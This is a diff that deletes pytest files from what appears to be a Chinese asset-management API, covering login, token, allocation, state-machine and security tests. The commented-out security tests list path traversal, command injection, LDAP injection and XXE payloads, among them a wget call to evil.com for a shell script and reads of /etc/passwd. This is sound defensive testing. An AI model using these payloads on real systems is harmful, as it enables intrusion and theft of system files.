|
||||
# assert "table" not in error_msg
|
||||
# assert "column" not in error_msg
|
||||
# assert "syntax" not in error_msg
|
||||
#
|
||||
# def test_stack_trace_not_exposed(self, client: TestClient):
|
||||
# """测试不暴露堆栈跟踪"""
|
||||
# response = client.get("/api/v1/invalid-endpoint")
|
||||
#
|
||||
# # 生产环境不应该返回堆栈跟踪
|
||||
# content = response.text
|
||||
# assert "Traceback" not in content
|
||||
# assert "Exception" not in content
|
||||
# assert "at line" not in content
|
||||
#
|
||||
# def test_https_required(self, client: TestClient):
|
||||
# """测试HTTPS要求"""
|
||||
# # 这个测试在生产环境才有效
|
||||
# pass
|
||||
|
||||
|
||||
# class TestInputValidation:
|
||||
# """测试输入验证"""
|
||||
#
|
||||
# def test_path_traversal(self, client: TestClient, auth_headers):
|
||||
# """测试路径遍历攻击"""
|
||||
# malicious_inputs = [
|
||||
# "../../../etc/passwd",
|
||||
# "..\\..\\..\\windows\\system32\\config\\sam",
|
||||
# "....//....//....//etc/passwd",
|
||||
# "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/{malicious_input}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code in [404, 400, 422]
|
||||
#
|
||||
# def test_command_injection(self, client: TestClient, auth_headers):
|
||||
# """测试命令注入"""
|
||||
# malicious_inputs = [
|
||||
# "; ls -la",
|
||||
# "| cat /etc/passwd",
|
||||
# "`whoami`",
|
||||
# "$(id)",
|
||||
# "; wget http://evil.com/shell.py",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": malicious_input,
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
# # 应该被拒绝或过滤
|
||||
# assert response.status_code in [400, 422]
|
||||
#
|
||||
# def test_ldap_injection(self, client: TestClient, auth_headers):
|
||||
# """测试LDAP注入"""
|
||||
# # 如果系统使用LDAP认证
|
||||
# malicious_inputs = [
|
||||
# "*)(uid=*",
|
||||
# "*)(|(objectClass=*",
|
||||
# "*))%00",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": malicious_input,
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code in [401, 400]
|
||||
#
|
||||
# def test_xml_injection(self, client: TestClient, auth_headers):
|
||||
# """测试XML注入"""
|
||||
# xml_payload = """<?xml version="1.0"?>
|
||||
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
# <asset><name>&xxe;</name></asset>"""
|
||||
#
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# data=xml_payload,
|
||||
# content_type="application/xml"
|
||||
# )
|
||||
#
|
||||
# # 应该被拒绝或返回错误
|
||||
# assert response.status_code in [400, 415] # Unsupported Media Type
|
||||
|
||||
|
||||
# class TestRateLimiting:
|
||||
# """测试请求频率限制"""
|
||||
#
|
||||
# def test_login_rate_limit(self, client: TestClient):
|
||||
# """测试登录频率限制"""
|
||||
# # 连续多次登录尝试
|
||||
# responses = []
|
||||
# for i in range(15):
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "test",
|
||||
# "password": "wrong",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": f"test-{i}"
|
||||
# }
|
||||
# )
|
||||
# responses.append(response)
|
||||
#
|
||||
# # 应该有部分请求被限流
|
||||
# rate_limited = sum(1 for r in responses if r.status_code == 429)
|
||||
# assert rate_limited > 0
|
||||
#
|
||||
# def test_api_rate_limit(self, client: TestClient, auth_headers):
|
||||
# """测试API频率限制"""
|
||||
# # 连续请求
|
||||
# responses = []
|
||||
# for i in range(150): # 超过100次/分钟限制
|
||||
# response = client.get("/api/v1/assets", headers=auth_headers)
|
||||
# responses.append(response)
|
||||
#
|
||||
# rate_limited = sum(1 for r in responses if r.status_code == 429)
|
||||
# assert rate_limited > 0
|
||||
@@ -1,474 +0,0 @@
|
||||
"""
|
||||
资产管理服务层测试
|
||||
|
||||
测试内容:
|
||||
- 资产创建业务逻辑
|
||||
- 资产分配业务逻辑
|
||||
- 状态机转换
|
||||
- 权限验证
|
||||
- 异常处理
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from datetime import datetime
|
||||
# from app.services.asset_service import AssetService
|
||||
# from app.services.state_machine_service import StateMachineService
|
||||
# from app.core.exceptions import BusinessException, NotFoundException
|
||||
|
||||
|
||||
# class TestAssetService:
|
||||
# """测试资产管理服务"""
|
||||
#
|
||||
# @pytest.fixture
|
||||
# def asset_service(self):
|
||||
# """创建AssetService实例"""
|
||||
# return AssetService()
|
||||
#
|
||||
# def test_create_asset_generates_code(self, db, asset_service):
|
||||
# """测试创建资产时自动生成编码"""
|
||||
# asset_data = {
|
||||
# "asset_name": "测试资产",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
#
|
||||
# asset = asset_service.create_asset(
|
||||
# db=db,
|
||||
# asset_in=AssetCreate(**asset_data),
|
||||
# creator_id=1
|
||||
# )
|
||||
#
|
||||
# assert asset.asset_code is not None
|
||||
# assert asset.asset_code.startswith("ASSET-")
|
||||
# assert len(asset.asset_code) == 19 # ASSET-YYYYMMDD-XXXX
|
||||
#
|
||||
# def test_create_asset_records_status_history(self, db, asset_service):
|
||||
# """测试创建资产时记录状态历史"""
|
||||
# asset_data = AssetCreate(
|
||||
# asset_name="测试资产",
|
||||
# device_type_id=1,
|
||||
# organization_id=1
|
||||
# )
|
||||
#
|
||||
# asset = asset_service.create_asset(
|
||||
# db=db,
|
||||
# asset_in=asset_data,
|
||||
# creator_id=1
|
||||
# )
|
||||
#
|
||||
# # 验证状态历史
|
||||
# history = db.query(AssetStatusHistory).filter(
|
||||
# AssetStatusHistory.asset_id == asset.id
|
||||
# ).all()
|
||||
#
|
||||
# assert len(history) == 1
|
||||
# assert history[0].old_status is None
|
||||
# assert history[0].new_status == "pending"
|
||||
# assert history[0].operation_type == "create"
|
||||
#
|
||||
# def test_create_asset_with_invalid_device_type(self, db, asset_service):
|
||||
# """测试使用无效设备类型创建资产"""
|
||||
# asset_data = AssetCreate(
|
||||
# asset_name="测试资产",
|
||||
# device_type_id=999999, # 不存在的设备类型
|
||||
# organization_id=1
|
||||
# )
|
||||
#
|
||||
# with pytest.raises(NotFoundException):
|
||||
# asset_service.create_asset(
|
||||
# db=db,
|
||||
# asset_in=asset_data,
|
||||
# creator_id=1
|
||||
# )
|
||||
#
|
||||
# def test_create_asset_with_invalid_organization(self, db, asset_service):
|
||||
# """测试使用无效网点创建资产"""
|
||||
# asset_data = AssetCreate(
|
||||
# asset_name="测试资产",
|
||||
# device_type_id=1,
|
||||
# organization_id=999999 # 不存在的网点
|
||||
# )
|
||||
#
|
||||
# with pytest.raises(NotFoundException):
|
||||
# asset_service.create_asset(
|
||||
# db=db,
|
||||
# asset_in=asset_data,
|
||||
# creator_id=1
|
||||
# )
|
||||
#
|
||||
# def test_create_asset_validates_required_dynamic_fields(self, db, asset_service):
|
||||
# """测试验证必填的动态字段"""
|
||||
# # 假设计算机类型要求CPU和内存必填
|
||||
# asset_data = AssetCreate(
|
||||
# asset_name="测试计算机",
|
||||
# device_type_id=1, # 计算机类型
|
||||
# organization_id=1,
|
||||
# dynamic_attributes={
|
||||
# # 缺少必填的cpu和memory字段
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# with pytest.raises(BusinessException):
|
||||
# asset_service.create_asset(
|
||||
# db=db,
|
||||
# asset_in=asset_data,
|
||||
# creator_id=1
|
||||
# )
|
||||
|
||||
|
||||
# class TestAssetAllocation:
|
||||
# """测试资产分配"""
|
||||
#
|
||||
# @pytest.fixture
|
||||
# def asset_service(self):
|
||||
# return AssetService()
|
||||
#
|
||||
# def test_allocate_assets_success(self, db, asset_service, test_asset):
|
||||
# """测试成功分配资产"""
|
||||
# allocation_order = asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=[test_asset.id],
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# assert allocation_order is not None
|
||||
# assert allocation_order.order_type == "allocation"
|
||||
# assert allocation_order.asset_count == 1
|
||||
#
|
||||
# # 验证资产状态未改变(等待审批)
|
||||
# db.refresh(test_asset)
|
||||
# assert test_asset.status == "in_stock"
|
||||
#
|
||||
# def test_allocate_assets_invalid_status(self, db, asset_service):
|
||||
# """测试分配状态不正确的资产"""
|
||||
# # 创建一个使用中的资产
|
||||
# in_use_asset = Asset(
|
||||
# asset_code="ASSET-20250124-0002",
|
||||
# asset_name="使用中的资产",
|
||||
# device_type_id=1,
|
||||
# organization_id=1,
|
||||
# status="in_use"
|
||||
# )
|
||||
# db.add(in_use_asset)
|
||||
# db.commit()
|
||||
#
|
||||
# with pytest.raises(BusinessException) as exc:
|
||||
# asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=[in_use_asset.id],
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# assert "当前状态不允许分配" in str(exc.value)
|
||||
#
|
||||
# def test_allocate_assets_batch(self, db, asset_service):
|
||||
# """测试批量分配资产"""
|
||||
# # 创建多个资产
|
||||
# assets = []
|
||||
# for i in range(5):
|
||||
# asset = Asset(
|
||||
# asset_code=f"ASSET-20250124-{i:04d}",
|
||||
# asset_name=f"测试资产{i}",
|
||||
# device_type_id=1,
|
||||
# organization_id=1,
|
||||
# status="in_stock"
|
||||
# )
|
||||
# db.add(asset)
|
||||
# assets.append(asset)
|
||||
# db.commit()
|
||||
#
|
||||
# asset_ids = [a.id for a in assets]
|
||||
#
|
||||
# allocation_order = asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=asset_ids,
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# assert allocation_order.asset_count == 5
|
||||
#
|
||||
# def test_allocate_assets_to_same_organization(self, db, asset_service, test_asset):
|
||||
# """测试分配到当前所在网点"""
|
||||
# with pytest.raises(BusinessException):
|
||||
# asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=[test_asset.id],
|
||||
# organization_id=test_asset.organization_id, # 相同网点
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# def test_allocate_duplicate_assets(self, db, asset_service):
|
||||
# """测试分配时包含重复资产"""
|
||||
# with pytest.raises(BusinessException):
|
||||
# asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=[1, 1, 2], # 资产ID重复
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# def test_approve_allocation_order(self, db, asset_service):
|
||||
# """测试审批分配单"""
|
||||
# # 创建分配单
|
||||
# allocation_order = asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=[1],
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# # 审批通过
|
||||
# asset_service.approve_allocation_order(
|
||||
# db=db,
|
||||
# order_id=allocation_order.id,
|
||||
# approval_status="approved",
|
||||
# approver_id=2,
|
||||
# remark="同意"
|
||||
# )
|
||||
#
|
||||
# # 验证资产状态已更新
|
||||
# asset = db.query(Asset).filter(Asset.id == 1).first()
|
||||
# assert asset.status == "in_use"
|
||||
#
|
||||
# # 验证分配单执行状态
|
||||
# db.refresh(allocation_order)
|
||||
# assert allocation_order.approval_status == "approved"
|
||||
# assert allocation_order.execute_status == "completed"
|
||||
#
|
||||
# def test_reject_allocation_order(self, db, asset_service):
|
||||
# """测试拒绝分配单"""
|
||||
# allocation_order = asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=[1],
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# # 审批拒绝
|
||||
# asset_service.approve_allocation_order(
|
||||
# db=db,
|
||||
# order_id=allocation_order.id,
|
||||
# approval_status="rejected",
|
||||
# approver_id=2,
|
||||
# remark="不符合条件"
|
||||
# )
|
||||
#
|
||||
# # 验证资产状态未改变
|
||||
# asset = db.query(Asset).filter(Asset.id == 1).first()
|
||||
# assert asset.status == "in_stock"
|
||||
#
|
||||
# db.refresh(allocation_order)
|
||||
# assert allocation_order.approval_status == "rejected"
|
||||
# assert allocation_order.execute_status == "cancelled"
|
||||
|
||||
|
||||
# class TestStateMachine:
|
||||
# """测试状态机"""
|
||||
#
|
||||
# @pytest.fixture
|
||||
# def state_machine(self):
|
||||
# return StateMachineService()
|
||||
#
|
||||
# def test_valid_state_transitions(self, state_machine):
|
||||
# """测试有效的状态转换"""
|
||||
# valid_transitions = [
|
||||
# ("pending", "in_stock"),
|
||||
# ("in_stock", "in_use"),
|
||||
# ("in_stock", "maintenance"),
|
||||
# ("in_use", "transferring"),
|
||||
# ("in_use", "maintenance"),
|
||||
# ("maintenance", "in_stock"),
|
||||
# ("transferring", "in_use"),
|
||||
# ("in_use", "pending_scrap"),
|
||||
# ("pending_scrap", "scrapped"),
|
||||
# ]
|
||||
#
|
||||
# for old_status, new_status in valid_transitions:
|
||||
# assert state_machine.can_transition(old_status, new_status) is True
|
||||
#
|
||||
# def test_invalid_state_transitions(self, state_machine):
|
||||
# """测试无效的状态转换"""
|
||||
# invalid_transitions = [
|
||||
# ("pending", "in_use"), # pending不能直接到in_use
|
||||
# ("in_stock", "pending"), # 不能回退到pending
|
||||
# ("scrapped", "in_stock"), # 报废后不能恢复
|
||||
# ("in_use", "pending_scrap"), # 应该先transferring
|
||||
# ]
|
||||
#
|
||||
# for old_status, new_status in invalid_transitions:
|
||||
# assert state_machine.can_transition(old_status, new_status) is False
|
||||
#
|
||||
# def test_record_state_change(self, db, state_machine, test_asset):
|
||||
# """测试记录状态变更"""
|
||||
# state_machine.record_state_change(
|
||||
# db=db,
|
||||
# asset_id=test_asset.id,
|
||||
# old_status="in_stock",
|
||||
# new_status="in_use",
|
||||
# operator_id=1,
|
||||
# operation_type="allocate",
|
||||
# remark="资产分配"
|
||||
# )
|
||||
#
|
||||
# history = db.query(AssetStatusHistory).filter(
|
||||
# AssetStatusHistory.asset_id == test_asset.id
|
||||
# ).first()
|
||||
#
|
||||
# assert history is not None
|
||||
# assert history.old_status == "in_stock"
|
||||
# assert history.new_status == "in_use"
|
||||
# assert history.operation_type == "allocate"
|
||||
# assert history.remark == "资产分配"
|
||||
#
|
||||
# def test_get_available_transitions(self, state_machine):
|
||||
# """测试获取可用的状态转换"""
|
||||
# transitions = state_machine.get_available_transitions("in_stock")
|
||||
#
|
||||
# assert "in_use" in transitions
|
||||
# assert "maintenance" in transitions
|
||||
# assert "pending_scrap" not in transitions
|
||||
#
|
||||
# def test_state_transition_with_invalid_permission(self, db, state_machine, test_asset):
|
||||
# """测试无权限的状态转换"""
|
||||
# # 普通用户不能直接报废资产
|
||||
# with pytest.raises(PermissionDeniedException):
|
||||
# state_machine.transition_state(
|
||||
# db=db,
|
||||
# asset_id=test_asset.id,
|
||||
# new_status="scrapped",
|
||||
# operator_id=999, # 无权限的用户
|
||||
# operation_type="scrap"
|
||||
# )
|
||||
|
||||
|
||||
# class TestAssetStatistics:
|
||||
# """测试资产统计"""
|
||||
#
|
||||
# @pytest.fixture
|
||||
# def asset_service(self):
|
||||
# return AssetService()
|
||||
#
|
||||
# def test_get_asset_overview(self, db, asset_service):
|
||||
# """测试获取资产概览统计"""
|
||||
# # 创建测试数据
|
||||
# # ... 创建不同状态的资产
|
||||
#
|
||||
# stats = asset_service.get_asset_overview(db)
|
||||
#
|
||||
# assert stats["total_assets"] > 0
|
||||
# assert stats["total_value"] > 0
|
||||
# assert "assets_in_stock" in stats
|
||||
# assert "assets_in_use" in stats
|
||||
# assert "assets_maintenance" in stats
|
||||
# assert "assets_scrapped" in stats
|
||||
#
|
||||
# def test_get_organization_distribution(self, db, asset_service):
|
||||
# """测试获取网点分布统计"""
|
||||
# distribution = asset_service.get_organization_distribution(db)
|
||||
#
|
||||
# assert isinstance(distribution, list)
|
||||
# if len(distribution) > 0:
|
||||
# assert "org_name" in distribution[0]
|
||||
# assert "count" in distribution[0]
|
||||
# assert "value" in distribution[0]
|
||||
#
|
||||
# def test_get_device_type_distribution(self, db, asset_service):
|
||||
# """测试获取设备类型分布统计"""
|
||||
# distribution = asset_service.get_device_type_distribution(db)
|
||||
#
|
||||
# assert isinstance(distribution, list)
|
||||
# if len(distribution) > 0:
|
||||
# assert "type_name" in distribution[0]
|
||||
# assert "count" in distribution[0]
|
||||
#
|
||||
# def test_get_value_trend(self, db, asset_service):
|
||||
# """测试获取价值趋势"""
|
||||
# trend = asset_service.get_value_trend(
|
||||
# db=db,
|
||||
# start_date="2024-01-01",
|
||||
# end_date="2024-12-31",
|
||||
# group_by="month"
|
||||
# )
|
||||
#
|
||||
# assert isinstance(trend, list)
|
||||
# if len(trend) > 0:
|
||||
# assert "date" in trend[0]
|
||||
# assert "count" in trend[0]
|
||||
# assert "value" in trend[0]
|
||||
|
||||
|
||||
# 性能测试
|
||||
# class TestAssetServicePerformance:
|
||||
# """测试资产管理服务性能"""
|
||||
#
|
||||
# @pytest.fixture
|
||||
# def asset_service(self):
|
||||
# return AssetService()
|
||||
#
|
||||
# @pytest.mark.slow
|
||||
# def test_large_asset_list_query_performance(self, db, asset_service):
|
||||
# """测试大量资产查询性能"""
|
||||
# # 创建1000个资产
|
||||
# assets = []
|
||||
# for i in range(1000):
|
||||
# asset = Asset(
|
||||
# asset_code=f"ASSET-20250124-{i:04d}",
|
||||
# asset_name=f"测试资产{i}",
|
||||
# device_type_id=1,
|
||||
# organization_id=1,
|
||||
# status="in_stock"
|
||||
# )
|
||||
# assets.append(asset)
|
||||
# db.bulk_save_objects(assets)
|
||||
# db.commit()
|
||||
#
|
||||
# import time
|
||||
# start_time = time.time()
|
||||
#
|
||||
# items, total = asset_service.get_assets(
|
||||
# db=db,
|
||||
# skip=0,
|
||||
# limit=20
|
||||
# )
|
||||
#
|
||||
# elapsed_time = time.time() - start_time
|
||||
#
|
||||
# assert len(items) == 20
|
||||
# assert total == 1000
|
||||
# assert elapsed_time < 0.5 # 查询应该在500ms内完成
|
||||
#
|
||||
# @pytest.mark.slow
|
||||
# def test_batch_allocation_performance(self, db, asset_service):
|
||||
# """测试批量分配性能"""
|
||||
# # 创建100个资产
|
||||
# asset_ids = []
|
||||
# for i in range(100):
|
||||
# asset = Asset(
|
||||
# asset_code=f"ASSET-20250124-{i:04d}",
|
||||
# asset_name=f"测试资产{i}",
|
||||
# device_type_id=1,
|
||||
# organization_id=1,
|
||||
# status="in_stock"
|
||||
# )
|
||||
# db.add(asset)
|
||||
# db.flush()
|
||||
# asset_ids.append(asset.id)
|
||||
# db.commit()
|
||||
#
|
||||
# import time
|
||||
# start_time = time.time()
|
||||
#
|
||||
# allocation_order = asset_service.allocate_assets(
|
||||
# db=db,
|
||||
# asset_ids=asset_ids,
|
||||
# organization_id=2,
|
||||
# operator_id=1
|
||||
# )
|
||||
#
|
||||
# elapsed_time = time.time() - start_time
|
||||
#
|
||||
# assert allocation_order.asset_count == 100
|
||||
# assert elapsed_time < 2.0 # 批量分配应该在2秒内完成
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,762 +0,0 @@
|
||||
"""
|
||||
认证服务测试
|
||||
|
||||
测试内容:
|
||||
- 登录服务测试(15+用例)
|
||||
- Token管理测试(10+用例)
|
||||
- 密码管理测试(10+用例)
|
||||
- 验证码测试(5+用例)
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from datetime import datetime, timedelta
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
|
||||
from app.services.auth_service import auth_service
|
||||
from app.models.user import User
|
||||
from app.core.exceptions import (
|
||||
InvalidCredentialsException,
|
||||
UserLockedException,
|
||||
UserDisabledException
|
||||
)
|
||||
|
||||
|
||||
# ==================== 登录服务测试 ====================
|
||||
|
||||
class TestAuthServiceLogin:
|
||||
"""测试认证服务登录功能"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_success(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试登录成功"""
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
assert result.access_token is not None
|
||||
assert result.refresh_token is not None
|
||||
assert result.token_type == "Bearer"
|
||||
assert result.user.id == test_user.id
|
||||
assert result.user.username == test_user.username
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_wrong_password(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User
|
||||
):
|
||||
"""测试密码错误"""
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
"wrongpassword",
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_user_not_found(
|
||||
self,
|
||||
db_session: AsyncSession
|
||||
):
|
||||
"""测试用户不存在"""
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
"nonexistent",
|
||||
"password",
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_account_disabled(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试账户被禁用"""
|
||||
test_user.status = "disabled"
|
||||
await db_session.commit()
|
||||
|
||||
with pytest.raises(UserDisabledException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_account_locked(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试账户被锁定"""
|
||||
test_user.status = "locked"
|
||||
test_user.locked_until = datetime.utcnow() + timedelta(minutes=30)
|
||||
await db_session.commit()
|
||||
|
||||
with pytest.raises(UserLockedException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_auto_unlock_after_lock_period(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试锁定期后自动解锁"""
|
||||
test_user.status = "locked"
|
||||
test_user.locked_until = datetime.utcnow() - timedelta(minutes=1)
|
||||
await db_session.commit()
|
||||
|
||||
# 应该能登录成功并自动解锁
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
assert result.access_token is not None
|
||||
|
||||
# 验证用户已解锁
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.status == "active"
|
||||
assert test_user.locked_until is None
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_increases_fail_count(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User
|
||||
):
|
||||
"""测试登录失败增加失败次数"""
|
||||
initial_count = test_user.login_fail_count
|
||||
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
"wrongpassword",
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.login_fail_count == initial_count + 1
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_locks_after_max_failures(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User
|
||||
):
|
||||
"""测试达到最大失败次数后锁定"""
|
||||
test_user.login_fail_count = 4 # 差一次就锁定
|
||||
await db_session.commit()
|
||||
|
||||
with pytest.raises(UserLockedException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
"wrongpassword",
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.status == "locked"
|
||||
assert test_user.locked_until is not None
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_resets_fail_count_on_success(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试登录成功重置失败次数"""
|
||||
test_user.login_fail_count = 3
|
||||
await db_session.commit()
|
||||
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.login_fail_count == 0
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_updates_last_login_time(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试登录更新最后登录时间"""
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.last_login_at is not None
|
||||
assert test_user.last_login_at.date() == datetime.utcnow().date()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_case_sensitive_username(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User
|
||||
):
|
||||
"""测试用户名大小写敏感"""
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username.upper(), # 大写
|
||||
"password",
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_with_admin_user(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_admin: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试管理员登录"""
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_admin.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
assert result.user.is_admin is True
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_generates_different_tokens(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试每次登录生成不同的Token"""
|
||||
result1 = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
result2 = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# Access token应该不同
|
||||
assert result1.access_token != result2.access_token
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_login_includes_user_roles(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_role,
|
||||
test_password: str
|
||||
):
|
||||
"""测试登录返回用户角色"""
|
||||
# 分配角色
|
||||
from app.models.user import UserRole
|
||||
user_role = UserRole(
|
||||
user_id=test_user.id,
|
||||
role_id=test_role.id
|
||||
)
|
||||
db_session.add(user_role)
|
||||
await db_session.commit()
|
||||
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 应该包含角色信息
|
||||
|
||||
|
||||
# ==================== Token管理测试 ====================
|
||||
|
||||
class TestTokenManagement:
|
||||
"""测试Token管理"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_refresh_token_success(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试刷新Token成功"""
|
||||
# 先登录
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 刷新Token
|
||||
result = await auth_service.refresh_token(
|
||||
db_session,
|
||||
login_result.refresh_token
|
||||
)
|
||||
|
||||
assert "access_token" in result
|
||||
assert "expires_in" in result
|
||||
assert result["access_token"] != login_result.access_token
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_refresh_token_invalid(
|
||||
self,
|
||||
db_session: AsyncSession
|
||||
):
|
||||
"""测试无效的刷新Token"""
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.refresh_token(
|
||||
db_session,
|
||||
"invalid_refresh_token"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_refresh_token_for_disabled_user(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试为禁用用户刷新Token"""
|
||||
# 先登录
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 禁用用户
|
||||
test_user.status = "disabled"
|
